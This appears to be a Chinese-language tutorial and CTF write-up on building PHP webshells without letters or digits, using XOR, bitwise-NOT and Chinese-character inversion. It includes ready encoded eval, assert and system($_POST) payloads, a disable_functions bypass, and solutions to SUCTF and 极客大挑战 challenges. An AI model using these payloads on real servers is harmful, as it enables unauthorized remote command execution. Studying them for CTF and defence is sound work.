0%

无数字字母RCE

无数字字母RCE就是不利用数字和字母,构造webshell来执行命令。常见的利用方法有异或、取反这两种,此外还有或、自增和临时文件。

异或

法一

​ 在php中,两个字符进行异或时,会先将字符分别转换成ascii码值,再将这个值转换成二进制,然后将两个二进制值进行按位异或。按位异或的规则:1^1=0,0^0=0,1^0=1

@!异或得a为例,下面是三种不同的方法:

echo '@'^'!';
// echo urlencode('@!'); #%40%21,%后面的是十六进制
// echo hexdec("40")^hexdec("21"); #得到97,a的ascii码十进制表示
echo chr(97);
// echo hexdec("40").','.hexdec("21"); #64,33是40,21的十进制
echo chr(64^33);

通过构造$_GET[]传入新的参数,执行phpinfo();

eval($_GET[code]);
# ?code=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

脚本:

<?php
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k=0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k].":";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])." ";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
} #dechex将十进制转换为十六进制
} #hexdec将十六进制转换为十进制
finds("_GET");
?>

法二

原理:按位异或相同为0不同为1,任意字符与%ff异或两次得任意字符。

先看下面这个例子:

<?php
$a = urlencode('print_r' ^ urldecode('%ff%ff%ff%ff%ff%ff%ff'));
echo urldecode($a)^urldecode('%ff%ff%ff%ff%ff%ff%ff');
//$a 为 %8F%8D%96%91%8B%A0%8D
#输出:print_r

构造print_r(scandir(.));

//%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff  #print_r
//%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff(%D1^%ff) #scandir(.)
print_r(scandir(.));
//((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))(((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));

构造readfile(end(scandir(.)));

((%8D%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9A%91%9B)^(%ff%ff%ff))((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));

有时候可能会限制字符的种类个数,我们就需要在原有的字符里再相互异或出需要的字符,需要一个一个找哪些字符可以由哪些字符异或得出。

例如a = c^p^r,为什么要三个字符异或两次而不是两个字符异或一次呢,因为要保证其他的字符不变,需要与%ff异或两次。

<?php
function Find($a,$c)
{
for($i=0;$i<strlen($a);$i++){
for($j=0;$j<strlen($a);$j++){
for($k=0;$k<strlen($a);$k++){
if(urlencode($a[$i]^$a[$j]^$a[$k])==$c){
echo $a[$i].'^'.$a[$j].'^'.$a[$k].'='.$c.' ';
}
}
}
}
}
$str = 'eadilnscipt';
$c = 'f';
Find($str,$c);

现在要将((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))减少字符种类,其实我们是要%8F%8D%96%91%8B%A0%8D进行多次异或使之不变,已知n = i^s^t

echo urlencode('n'^urldecode("%ff"));
echo urlencode('i'^urldecode("%ff"));
echo urlencode('s'^urldecode("%ff"));
echo urlencode('t'^urldecode("%ff"));
#输出:%91 %96 %8C %8B
echo urlencode(urldecode("%96")^urldecode("%8c")^urldecode("%8b"));
#输出:%91

故有如下结论:

%8F%8D%96%91%8B%A0%8D = (%8F%8D%96%96%8B%A0%8D)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff)

取反

因为取反后的结果有不可见字符,故需对其进行url编码,而_GET传参会对url编码的内容进行解码。

法一

_POST进行取反并url编码,在解码取反得到。由于这部分要与assert()一起利用,故(eval($_POST[_]))这里外层加上了括号。

echo urlencode(~'_POST');   #%A0%AF%B0%AC%AB
echo ~urldecode('%A0%AF%B0%AC%AB');

(~%8C%86%8C%8B%9A%92)(~%D7%93%8C%D6);

构造eval($_POST[_]);

# assert  %9E%8C%8C%9A%8D%8B
# (eval($_POST[_])) %D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%A0%A2%D6%D6
# (~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%A0%A2%D6%D6);
#即 (assert)((eval($_POST[_])));

构造phpinfo();

# phpinfo  %8F%97%8F%96%91%99%90
# (~%8F%97%8F%96%91%99%90)(); #即为 phpinfo();

另一种方式构造system($_POST[_])

$_ = ~(%8C%86%8C%8B%9A%92);   #定义变量$_为system
$__ = ~(%A0%AF%B0%AC%AB); #定义变量$__为_POST
$___ = $$__; #定义变量$___为$$__,即为$_POST
$_($___[_]); #即为 assert($_POST[_]);
#将取反结果代入
# $_ = ~(%8C%86%8C%8B%9A%92);$__ = ~(%A0%AF%B0%AC%AB);$___ = $$__;$_($___[_]);

法二

这种方法是利用汉字取反构造。

可以通过对'构'{1}进行取反,来构造字符a,而1可以通过'_'=='_'来获得。'_'=='_'结果为真,故返回1,反之'_'=='__'结果为假,返回0

构造phpinfo();

$_=[]==[];
$__=~可[$_].~时[$_].~可[$_].~新[$_].~周[$_].~白[$_].~向[$_];
$__();

构造system($_POST[_]);

$_=[]==[];
$__=~北[$_].~冲[$_].~北[$_].~苏[$_].~皇[$_].~和[$_];
$___=~码[$_].~寸[$_].~小[$_].~欠[$_].~立[$_];
$__($$___[_]);

寻找对应汉字的脚本:

<?php
function finds($string){
$lst = ['码','析','均','真','雨','随','白','明','时','新','效','政','品','和','周','向','可','现','南','北','苏','节','前','我','出','况','关','侯','彤','开','以','事','年','中','工','越','资','质','法','粉','展','就','对','家','学','欢','高','验','空','程','规','离','神'];
for($i=0;$i<strlen($string);$i++){
for($j=0;$j<count($lst);$j++){
if($string[$i]==~$lst[$j][1]){
echo $string[$i].':'.$lst[$j]." ";
}
}
}
}
finds("phpinfo");
?>

例题

[SUCTF 2019]EasyWeb

SUCTF 2019EasyWeb

要绕过如下过滤:

image-20250119103540779

已知_,G,E,T字符可以如下构成

_:%86^%d9
G:%86^%c1
E:%86^%c3
T:%86^%d2

构造执行phpinfo()的payload

eval($_GET[code]);
# ?code=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

[极客大挑战 2019]RCE ME

源码如下:

$code=$_GET['code'];
@eval($code);
#限制
if(strlen($code)>40) die("This is too Long.");
if(preg_match("/[A-Za-z0-9]+/",$code)) die("NO.");

过滤了大小写字母和数字

先通过phpinfo()测试一下

# phpinfo  %8F%97%8F%96%91%99%90
# phpinfo(); (!phpinfo)();
?code = (~%8F%97%8F%96%91%99%90)();
#(assert)((eval($_POST[shell])));
?code = (~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6);

%8F%97%8F%96%91%99%90是什么呢?是由字符串phpinfo先取反再进行url编码所得到的一串编码。

<?php
$p = 'phpinfo';
echo urlencode(~$p);
echo urlencode(~'assert')."\n";
echo urlencode(~'(eval($_POST[shell]))');
?>
# %8F%97%8F%96%91%99%90
#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6

解题:

传入参数?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6);

蚁剑连接http://81ee6069-0856-4349-b89f-342253bbe6eb.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6);

绕过diasble_functions

然后选择绕过diasble_functions插件

image-20241103225407335

选择模式,PHP7_GC_UAF

image-20241103225445065

在命令行界面中执行/readflag,得到flag

image-20241103225639279

[SUCTF 2018]GetShell

SUCTF 2018 GetShell

image-20250120154828228

上传一个文件,会对文件中从第五个字符及以后依次检查,该过滤的都过滤完了,就只剩下$ ~ [] _ () ; .这些字符没有被过滤,这里利用一种汉字取反的方法。

构造system($_POST[_]);,并上传

<?php
$_=[]==[];
$__=~北[$_].~冲[$_].~北[$_].~苏[$_].~皇[$_].~和[$_];
$___=~码[$_].~寸[$_].~小[$_].~欠[$_].~立[$_];
$__($$___[_]);

buu环境原因,只能在环境变量中查看flag,system('env')查看系统中的环境变量。

image-20250120155728131

参考文章

RCE篇之无数字字母rce

无数字字母rce总结(取反、异或、自增、临时文件)-CSDN博客